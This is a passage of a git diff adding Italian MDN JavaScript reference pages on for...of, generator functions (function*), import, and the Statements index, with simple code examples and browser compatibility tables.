+<p><code><font face="Open Sans, Arial, sans-serif">Il </font><strong>costrutto for...of</strong></code> crea un ciclo con gli <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#iterable">oggetti iterabil</a>i (inclusi {{jsxref("Array")}}, {{jsxref("Map")}}, {{jsxref("Set")}}, {{jsxref("String")}}, {{jsxref("TypedArray")}}, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/arguments">argomenti</a> di oggetti e così via), iterando le istruzioni per ogni valore di ogni proprietà.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre>for (<em>variabile</em> of <em>oggettoIterabile</em>) {
+  <em>istruzioni
+</em>}
+</pre>
+
+<dl>
+ <dt><code>variabile</code></dt>
+ <dd><br>
+ Questa variabile assume il valore di una proprietà in ogni ciclo.</dd>
+ <dt><code>oggettoIterabile</code></dt>
+ <dd>Oggetto le cui proprietà sono iterate.</dd>
+</dl>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Iterare_un_jsxref(Array)">Iterare un {{jsxref("Array")}}:</h3>
+
+<pre>let array = [10, 20, 30];
+
+for (let valore of array) {
+  console.log(valore);
+}
+// Output:
+// 10
+// 20
+// 30
+</pre>
+
+<p><code>Si può utilizzare <a href="/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a></code> anzichè <a href="/en-US/docs/Web/JavaScript/Reference/Statements/let"><code>let</code></a> se 'value' non cambia valore durante il ciclo.</p>
+
+<pre>let iterable = [10, 20, 30];
+
+for (const value of iterable) {
+  console.log(value); // il valore di value di questo ciclo rimarrà costante
+  value++; // operazione non consentita.
+}
+// 10
+// 20
+// 30
+</pre>
+
+<h3 id="Iterare_un_oggetto_jsxref(String)">Iterare un oggetto {{jsxref("String")}}:</h3>
+
+<pre>let iterable = "boo";
+
+for (let value of iterable) {
+  console.log(value);
+}
+// output:
+// "b"
+// "o"
+// "o"
+</pre>
+
+<h3 id="Iterare_un_oggetto_jsxref(TypedArray)">Iterare un oggetto {{jsxref("TypedArray")}}:</h3>
+
+<pre>let iterable = new Uint8Array([0x00, 0xff]);
+
+for (let value of iterable) {
+  console.log(value);
+}
+// 0
+// 255
+</pre>
+
+<h3 id="Iterare_un_oggetto_jsxref(Map)">Iterare un oggetto {{jsxref("Map")}}:</h3>
+
+<pre>let iterable = new Map([["a", 1], ["b", 2], ["c", 3]]);
+
+for (let entry of iterable) {
+  console.log(entry);
+}
+// [a, 1]
+// [b, 2]
+// [c, 3]
+
+for (let [key, value] of iterable) {
+  console.log(value);
+}
+// 1
+// 2
+// 3
+</pre>
+
+<h3 id="Iterare_un_oggetto_jsxref(Set)">Iterare un oggetto {{jsxref("Set")}}:</h3>
+
+<pre>let iterable = new Set([1, 1, 2, 2, 3, 3]);
+
+for (let value of iterable) {
+  console.log(value);
+}
+// 1
+// 2
+// 3
+</pre>
+
+<h3 id="Iterare_un_DOM_collection">Iterare un DOM collection</h3>
+
+<div>
+<p>Iterare un DOM collection come {{domxref("NodeList")}}: il seguente esempio aggiunge una classe 'read' ai paragrafi che sono discendenti diretti di un elemento <em>article</em>:</p>
+</div>
+
+<div class="warning">
+<p>Nota: Questo costrutto funziona soltanto con le piattaforme che implementano NodeList.prototype[Symbol.iterator]</p>
+</div>
+
+<div>
+<pre>let articleParagraphs = document.querySelectorAll("article &gt; p");
+
+for (let paragraph of articleParagraphs) {
+  paragraph.classList.add("read");
+}
+</pre>
+</div>
+
+<h3 id="Iterare_generatori">Iterare generatori</h3>
+
+<p>Si possono iterare i <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function*">generatori</a>:</p>
+
+<pre>function* fibonacci() { // generatore di funzione
+  let [prev, curr] = [0, 1];
+  while (true) {
+    [prev, curr] = [curr, prev + curr];
+    yield curr;
+  }
+}
+
+for (let n of fibonacci()) {
+  console.log(n);
+  // tronca la sequenza a 1000
+  if (n &gt;= 1000) {
+    break;
+  }
+}
+</pre>
+
+<h3 id="Differerenze_tra_for...of_e_for...in">Differerenze tra <code>for...of</code> e <code>for...in</code></h3>
+
+<p>Il <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in" title="en-US/docs/JavaScript/Reference/Statements/for...in">for...in</a></code> itera tutte le proprietà enumerabili di un oggetto.</p>
+
+<p>Il <code>for...of</code> è specifico per le <strong>collezioni</strong>, piuttosto che tutti gli oggetti. Itera tutti gli oggetti di qualsiasi collection che abbia la proprietà <code>[Symbol.iterator]</code>.</p>
+
+<p>Il seguente esempio mostra le differenze tra <code>for...of</code> e <code>for...in</code>.</p>
+
+<pre>Object.prototype.objCustom = function () {};
+Array.prototype.arrCustom = function () {};
+
+let iterable = [3, 5, 7];
+iterable.foo = "hello";
+
+for (let i in iterable) {
+  console.log(i); // logs 0, 1, 2, "foo", "arrCustom", "objCustom"
+}
+
+for (let i of iterable) {
+  console.log(i); // logs 3, 5, 7
+}
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-for-in-and-for-of-statements', 'for...of statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-for-in-and-for-of-statements', 'for...of statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Edge</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(38)}} <a href="#Chrome_note_1">[1]</a><br>
+    {{CompatChrome(51)}} <a href="#Chrome_note_3">[3]</a></td>
+   <td>{{CompatGeckoDesktop("13")}} <a href="#Gecko_note_2">[2]</a></td>
+   <td>12</td>
+   <td>25</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(38)}} [1]</td>
+   <td>{{CompatGeckoMobile("13")}} [2]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p><a name="Chrome_note_1">[1]</a> Da Chrome 29 a Chrome 37 questa caratteristica era disponibile nel menu preferenze. In chrome://flags/#enable-javascript-harmony, bisognava attivare “Enable Experimental JavaScript”.</p>
+
+<p><a name="Gecko_note_2">[2]</a> Da Gecko 17 (Firefox 17 / Thunderbird 17 / SeaMonkey 2.14) a Gecko 26 (Firefox 26 / Thunderbird 26 / SeaMonkey 2.23 / Firefox OS 1.2) la proprietà iterator era usata (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=907077">bug 907077</a>), e da Gecko 27 a Gecko 35 era utilizzato <code>"@@iterator"</code> placeholder. In Gecko 36 (Firefox 36 / Thunderbird 36 / SeaMonkey 2.33), il simbolo <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol">symbolo</a> <code>@@iterator</code> fu implementato (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=918828">bug 918828</a>).</p>
+
+<p><a name="Chrome_note_3">[3]</a> Il supporto dell'iteration of objects è stato aggiunto in Chrome 51.</p>
+
+<h2 id="Note">Note</h2>
+
+<p>Se alcuni collegamenti su questa pagina fossero segnati in rosso e si volesse visualizzarli, essi sono dispoiìnibili solo in lingua inglese. In tal caso basta cambiare la lingua di questo stesso articolo.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for_each...in">for each...in</a> - a similar statement, but iterates over the values of object's properties, rather than the property names themselves (deprecated).</li>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map/forEach">Map.prototype.forEach()</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/it/web/javascript/reference/statements/function_star_/index.html b/files/it/web/javascript/reference/statements/function_star_/index.html
new file mode 100644
index 0000000000..a71ccfc55e
--- /dev/null
+++ b/files/it/web/javascript/reference/statements/function_star_/index.html
@@ -0,0 +1,280 @@
+---
+title: function*
+slug: Web/JavaScript/Reference/Statements/function*
+translation_of: Web/JavaScript/Reference/Statements/function*
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>La dichiarazione <code><strong>function*</strong></code> (la parola chiave <code>function</code> seguita da un asterisco) definisce una <em>funzione generatrice</em>, la quale restituisce un oggetto di tipo {{jsxref("Global_Objects/Generator","Generator")}}.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/statement-functionasterisk.html")}}</p>
+
+<div class="noinclude">
+<p>È anche possibile definire una funzione generatrice usando il costrutto {{jsxref("GeneratorFunction")}} e una {{jsxref("Operators/function*", "espressione function*")}}.</p>
+</div>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">function* <em>nome</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
+   <em>istruzioni</em>
+}
+</pre>
+
+<dl>
+ <dt><code>nome</code></dt>
+ <dd>Il nome della funzione.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>Gli argomenti passati alla funzione. Una funzione può avere fino a 255 argomenti.</dd>
+</dl>
+
+<dl>
+ <dt><code>istruzioni</code></dt>
+ <dd>Le istruzioni che compongono il corpo della funzione.</dd>
+</dl>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>I generatori sono funzioni  dalle quali è possibile uscire e poi rientrarvi in un secondo momento. Il loro contesto (binding delle variabili) verrà salvato all'uscita per quando vi entrerà successivamente.</p>
+
+<p>La chiamata ad un generatore non viene eseguita immediatamente; la funzione ritornerà invece un oggetto <a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#iterator">iterator</a>. Quando il metodo <code>next()</code> dell'iteratore viene chiamato, il corpo del generatore viene eseguito fino alla prima espressione {{jsxref("Operators/yield", "yield")}}, la quale specifica quale espressione ritornare dall'iteratore oppure, con l'espressione {{jsxref("Operators/yield*", "yield*")}}, delegare questo valore ad un'altra funzione generatrice. Il metodo <code>next()</code> restituisce un oggetto con proprietà <code>value</code> contenente il valore da restituito all'iteratore ed una proprietà <code>done</code> che contiene un valore di tipo boolean per indicare se il generatore ha restituito l'ultimo valore. Chiamando il metodo <code>next()</code> con un argomento farà riprendere l'esecuzione della funzione generatrice, sostituendo l'istruzione <code>yield</code> in cui l'esecuzione era stata fermata con l'argomento della funzione <code>next()</code>. </p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Esempio_semplice">Esempio semplice</h3>
+
+<pre class="brush: js">function* idMaker(){
+  var index = 0;
+  while(index &lt; 3)
+    yield index++;
+}
+
+var gen = idMaker();
+
+console.log(gen.next().value); // 0
+console.log(gen.next().value); // 1
+console.log(gen.next().value); // 2
+console.log(gen.next().value); // undefined
+// ...</pre>
+
+<h3 id="Esempio_con_yield*">Esempio con yield*</h3>
+
+<pre class="brush: js">function* anotherGenerator(i) {
+  yield i + 1;
+  yield i + 2;
+  yield i + 3;
+}
+
+function* generator(i){
+  yield i;
+  yield* anotherGenerator(i);
+  yield i + 10;
+}
+
+var gen = generator(10);
+
+console.log(gen.next().value); // 10
+console.log(gen.next().value); // 11
+console.log(gen.next().value); // 12
+console.log(gen.next().value); // 13
+console.log(gen.next().value); // 20
+</pre>
+
+<h3 id="Passare_argomenti_ai_Generatori">Passare argomenti ai Generatori</h3>
+
+<pre class="brush: js">function* logGenerator() {
+  console.log(yield);
+  console.log(yield);
+  console.log(yield);
+}
+
+var gen = logGenerator();
+
+// the first call of next executes from the start of the function
+// until the first yield statement
+gen.next();
+gen.next('pretzel'); // pretzel
+gen.next('california'); // california
+gen.next('mayonnaise'); // mayonnaise
+</pre>
+
+<h3 id="I_generatori_non_sono_costruttori">I generatori non sono costruttori</h3>
+
+<pre class="brush: js example-bad">function* f() {}
+var obj = new f; // solleva "TypeError: f is not a constructor"</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES6', '#', 'function*')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definizione iniziale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES7', '#', 'function*')}}</td>
+   <td>{{Spec2('ES7')}}</td>
+   <td>I generatori non devono avere essere usati come costruttori e deveo lanciare un eccezione quando vengono usati con la parola chiave <code>new</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#', 'function*')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_per_i_browser">Compatibilità per i browser</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th> Edge</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Supporto base</td>
+   <td>{{CompatChrome(39.0)}}</td>
+   <td>{{CompatGeckoDesktop("26.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>13</td>
+   <td>26</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>yield*</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("27.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>13</td>
+   <td>26</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>IteratorResult</code> invece delle eccezioni</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("29.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>13</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Non istanziabile con <code>new</code> {ES2016)</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("43.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Supporto base</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("26.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(39.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>yield*</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("27.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>IteratorResult</code> invece delle eccezioni</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("29.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Non istanziabile con <code>new</code> (ES2016)</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("43.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Note_specifiche_per_Firefox">Note specifiche per Firefox</h2>
+
+<h4 id="Generatori_e_iteratori_in_Firefox_nelle_versioni_precedenti_alla_26">Generatori e iteratori in Firefox nelle versioni precedenti alla 26</h4>
+
+<p>Versioni di FIrefox precedenti implementano una versione più vecchia della proposta di standard per i generatori. Tra le varie differenze, in queste versioni i generatori erano definiti usando la parola chiave <code>function</code> (senza asterisco) per le funzioni semplici. Per maggiori informazioni fare riferimento a {{jsxref("Statements/Legacy_generator_function", "funzioni generatrici (legacy)")}}.</p>
+
+<h4 id="IteratorResult_al_posto_delle_eccezioni"><code>IteratorResult</code> al posto delle eccezioni</h4>
+
+<p>A partire da Gecko 29 {{geckoRelease(29)}}, la funzione generatrice completata non solleva più eccezioni {{jsxref("TypeError")}} "generator has already finished". Restituisce invece oggetti di tipo <code>IteratorResult</code> come il seguente <code>{ value: undefined, done: true }</code> ({{bug(958951)}}).</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Operators/function*", "Espressione function*")}}</li>
+ <li>Oggetto {{jsxref("GeneratorFunction")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">The Iterator protocol</a></li>
+ <li>{{jsxref("Operators/yield", "yield")}}</li>
+ <li>{{jsxref("Operators/yield*", "yield*")}}</li>
+ <li>Oggetto {{jsxref("Function")}}</li>
+ <li>{{jsxref("Statements/function", "dichiarazione di funzioni")}}</li>
+ <li>{{jsxref("Operators/function", "espressione function")}}</li>
+ <li>{{jsxref("Functions_and_function_scope", "Funzioni e scope di funzioni")}}</li>
+ <li>Altre risorse sul web:
+  <ul>
+   <li><a href="http://facebook.github.io/regenerator/">Regenerator</a> un compilatore di generatori da ES5 a ES5 [Inglese]</li>
+   <li><a href="http://www.youtube.com/watch?v=qbKWsbJ76-s">Forbes Lindesay: Promises and Generators: control flow utopia -- JSConf EU 2013 </a>[Inglese]</li>
+   <li><a href="https://www.youtube.com/watch?v=ZrgEZykBHVo&amp;list=PLuoyIZT5fPlG44bPq50Wgh0INxykdrYX7&amp;index=1">Hemanth.HM: The New gen of *gen(){} </a>[Inglese]</li>
+   <li><a href="http://taskjs.org/">Task.js </a>[Inglese]</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/it/web/javascript/reference/statements/import/index.html b/files/it/web/javascript/reference/statements/import/index.html
new file mode 100644
index 0000000000..9a6ac79920
--- /dev/null
+++ b/files/it/web/javascript/reference/statements/import/index.html
@@ -0,0 +1,167 @@
+---
+title: import
+slug: Web/JavaScript/Reference/Statements/import
+translation_of: Web/JavaScript/Reference/Statements/import
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>Il comando <code><strong>import</strong></code> si usa per importare bindings esportati da un altro modulo. I moduli importati sono in {{jsxref("Strict_mode","strict mode")}} indipendentemente dal fatto che venga dichiarato in modo esplicito. Il comando <code>import</code> non puo' essere usato negli script embedded.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">import <em>defaultExport</em> from "<em>module-name</em>";
+import * as <em>name</em> from "<em>module-name</em>";
+import { <em>export </em>} from "<em>module-name</em>";
+import { <em>export</em> as <em>alias </em>} from "<em>module-name</em>";
+import { <em>export1 , export2</em> } from "<em>module-name</em>";
+import { <em>export1 , export2</em> as <em>alias2</em> , <em>[...]</em> } from "<em>module-name</em>";
+import <em>defaultExport</em>, { <em>export</em> [ , <em>[...]</em> ] } from "<em>module-name</em>";
+import <em>defaultExport</em>, * as <em>name</em> from "<em>module-name</em>";
+import "<em>module-name</em>";</pre>
+
+<dl>
+ <dt><code>defaultExport</code></dt>
+ <dd>Nome riferito all'export di default nel modulo.</dd>
+ <dt><code>module-name</code></dt>
+ <dd>Il modulo da cui importare. E' spesso il path relativo o assoluto del file <code>.js</code> che contiene il modulo. Alcuni bundlers possono permettere o imporre l'uso dell'estensione; verifica nel tuo environment. Sono ammesse solo stringhe a singole o doppie virgolette.</dd>
+ <dt><code>name</code></dt>
+ <dd>Nome dell' oggetto-modulo che verra' usato come namespace quando si fa riferimento nelle importazioni.</dd>
+ <dt><code>export, exportN</code></dt>
+ <dd>Nome degli export da importare.</dd>
+ <dt><code>alias, aliasN</code></dt>
+ <dd>Nomi fittizi (alias) riferiti ai nomi importati.</dd>
+</dl>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Il parametro <code>name</code> e' il nome dell' "oggetto-modulo" che verra' usato come namespace per riferirsi agli export al suo interno. I parametri <code>export</code> indicano i nomi dei singoli export, mentre <code>import * </code>li importa tutti insieme. Seguiranno degli esempi per chiarire questa sintassi.</p>
+
+<h3 id="Importare_l'intero_contenuto_di_un_modulo">Importare l'intero contenuto di un modulo</h3>
+
+<p>L'esempio inserisce <code>myModule</code> nello scope corrente, che conterra' tutti gli export del modulo, il cui file si trova in <code>/modules/my-module.js</code>.</p>
+
+<pre class="brush: js">import * as <em>myModule</em> from '/modules/my-module.js';
+</pre>
+
+<p>Qui invece, si accede agli export usando il nome del modulo ("myModule" in this case) come namespace. Per esempio, se il modulo importato contiene l'export <code>doAllTheAmazingThings()</code>, lo indicherai in questo modo:</p>
+
+<pre class="brush: js">myModule.doAllTheAmazingThings();</pre>
+
+<h3 id="Importare_un_singolo_export_da_un_modulo">Importare un singolo export da un modulo</h3>
+
+<p>Dato un oggetto o valore di nome <code>myExport</code> che sia esportato dal modulo <code>my-module</code>, sia implicitamente (perche' viene esportato l'intero modulo) che esplicitamente (usando il comando {{jsxref("Statements/export", "export")}}), l'esempio che segue inserira' <code>myExport</code> nello scope corrente.</p>
+
+<pre class="brush: js">import {myExport} from '/modules/my-module.js';</pre>
+
+<h3 id="Importare_export_multipli_da_un_modulo">Importare export multipli da un modulo</h3>
+
+<p>In questo esempio, sia <code>foo</code> che <code>bar</code> verranno inseriti nello scope corrente.</p>
+
+<pre class="brush: js">import {foo, bar} from '/modules/my-module.js';</pre>
+
+<h3 id="Importare_un_export_usando_un_alias">Importare un export usando un alias</h3>
+
+<p>E' possibile rinominare un export in fase di importazione, ad esempio, <code>shortName</code> verra' inserito in questo modo nello scope corrente:</p>
+
+<pre class="brush: js">import {reallyReallyLongModuleExportName as shortName}
+  from '/modules/my-module.js';</pre>
+
+<h3 id="Rinominare_export_multipli_in_un_importazione">Rinominare export multipli in un importazione</h3>
+
+<p>Importazione multipla di export da un modulo, usando per comodita' degli alias:</p>
+
+<pre class="brush: js">import {
+  reallyReallyLongModuleExportName as shortName,
+  anotherLongModuleName as short
+} from '/modules/my-module.js';</pre>
+
+<h3 id="Importare_solo_gli_'effetti_collaterali'_di_un_modulo">Importare solo gli 'effetti collaterali' di un modulo</h3>
+
+<p>Importazione dei soli 'effetti collaterali' di un modulo, senza importare tutto il resto. Cio' che segue eseguira' soltanto il codice nello scope globale ma senza importare alcun valore.</p>
+
+<pre class="brush: js">import '/modules/my-module.js';
+</pre>
+
+<h3 id="Importare_defaults">Importare defaults</h3>
+
+<p>E' possibile che in un modulo ci sia un esportazione di default {{jsxref("Statements/export", "export")}} (che sia un oggetto, una funzione, una classe, ecc...) e il comando <code>import</code> potra' servire per importarlo.</p>
+
+<p>La versione piu' semplice che importa direttamente il default e' questa:</p>
+
+<pre class="brush: js">import myDefault from '/modules/my-module.js';</pre>
+
+<p>E' possibile usare questa sintassi all'interno delle altre che abbiamo gia' visto (importazioni con namespace o nomi specifici) ma, in questo caso, l'importazione di default dovra' essere indicata per prima:</p>
+
+<pre class="brush: js">import myDefault, * as myModule from '/modules/my-module.js';
+// myModule used as a namespace</pre>
+
+<p>oppure</p>
+
+<pre class="brush: js">import myDefault, {foo, bar} from '/modules/my-module.js';
+// specific, named imports
+</pre>
+
+<h2 id="Esempi">Esempi</h2>
+
+<p>Importazione di una funzione helper da un modulo secondario che processa una richiesta AJAX JSON.</p>
+
+<h3 id="Modulo_file.js">Modulo: file.js</h3>
+
+<pre class="brush: js">function getJSON(url, callback) {
+  let xhr = new XMLHttpRequest();
+  xhr.onload = function () {
+    callback(this.responseText)
+  };
+  xhr.open('GET', url, true);
+  xhr.send();
+}
+
+export function getUsefulContents(url, callback) {
+  getJSON(url, data =&gt; callback(JSON.parse(data)));
+}</pre>
+
+<h3 id="Main_program_main.js">Main program: main.js</h3>
+
+<pre class="brush: js">import { getUsefulContents } from '/modules/file.js';
+
+getUsefulContents('http://www.example.com',
+    data =&gt; { doSomethingUseful(data); });</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-imports', 'Imports')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-imports', 'Imports')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilitá">Compatibilitá</h2>
+
+
+
+<p>{{Compat("javascript.statements.import")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Statements/import.meta", "import.meta")}}</li>
+ <li>{{jsxref("Statements/export", "export")}}</li>
+ <li><a href="https://blogs.windows.com/msedgedev/2016/05/17/es6-modules-and-beyond/">Previewing ES6 Modules and more from ES2015, ES2016 and beyond</a></li>
+ <li><a href="https://hacks.mozilla.org/2015/08/es6-in-depth-modules/">ES6 in Depth: Modules</a>, Hacks blog post by Jason Orendorff</li>
+ <li><a href="https://hacks.mozilla.org/2018/03/es-modules-a-cartoon-deep-dive/">ES modules: A cartoon deep-dive</a>, Hacks blog post by Lin Clark</li>
+ <li><a class="external" href="http://exploringjs.com/es6/ch_modules.html">Axel Rauschmayer's book: "Exploring JS: Modules"</a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/statements/index.html b/files/it/web/javascript/reference/statements/index.html
new file mode 100644
index 0000000000..e997b9799f
--- /dev/null
+++ b/files/it/web/javascript/reference/statements/index.html
@@ -0,0 +1,131 @@
+---
+title: Statements
+slug: Web/JavaScript/Reference/Statements
+tags:
+  - JavaScript
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - statements
+translation_of: Web/JavaScript/Reference/Statements
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>JavaScript applications consist of statements with an appropriate syntax. A single statement may span multiple lines. Multiple statements may occur on a single line if each statement is separated by a semicolon. This isn't a keyword, but a group of keywords.</p>
+
+<h2 id="Statements_and_declarations_by_category">Statements and declarations by category</h2>
+
+<p>For an alphabetical listing see the sidebar on the left.</p>
+
+<h3 id="Control_flow">Control flow</h3>
+
+<dl>
+ <dt>{{jsxref("Statements/block", "Block")}}</dt>
+ <dd>A block statement is used to group zero or more statements. The block is delimited by a pair of curly brackets.</dd>
+ <dt>{{jsxref("Statements/break", "break")}}</dt>
+ <dd>Terminates the current loop, switch, or label statement and transfers program control to the statement following the terminated statement.</dd>
+ <dt>{{jsxref("Statements/continue", "continue")}}</dt>
+ <dd>Terminates execution of the statements in the current iteration of the current or labeled loop, and continues execution of the loop with the next iteration.</dd>
+ <dt>{{jsxref("Statements/Empty", "Empty")}}</dt>
+ <dd>An empty statement is used to provide no statement, although the JavaScript syntax would expect one.</dd>
+ <dt>{{jsxref("Statements/if...else", "if...else")}}</dt>
+ <dd>Executes a statement if a specified condition is true. If the condition is false, another statement can be executed.</dd>
+ <dt>{{jsxref("Statements/switch", "switch")}}</dt>
+ <dd>Evaluates an expression, matching the expression's value to a case clause, and executes statements associated with that case.</dd>
+ <dt>{{jsxref("Statements/throw", "throw")}}</dt>
+ <dd>Throws a user-defined exception.</dd>
+ <dt>{{jsxref("Statements/try...catch", "try...catch")}}</dt>
+ <dd>Marks a block of statements to try, and specifies a response, should an exception be thrown.</dd>
+</dl>
+
+<h3 id="Declarations">Declarations</h3>
+
+<dl>
+ <dt>{{jsxref("Statements/var", "var")}}</dt>
+ <dd>Declares a variable, optionally initializing it to a value.</dd>
+ <dt>{{experimental_inline}} {{jsxref("Statements/let", "let")}}</dt>
+ <dd>Declares a block scope local variable, optionally initializing it to a value.</dd>
+ <dt>{{experimental_inline}} {{jsxref("Statements/const", "const")}}</dt>
+ <dd>Declares a read-only named constant.</dd>
+</dl>
+
+<h3 id="Functions_and_classes">Functions and classes</h3>
+
+<dl>
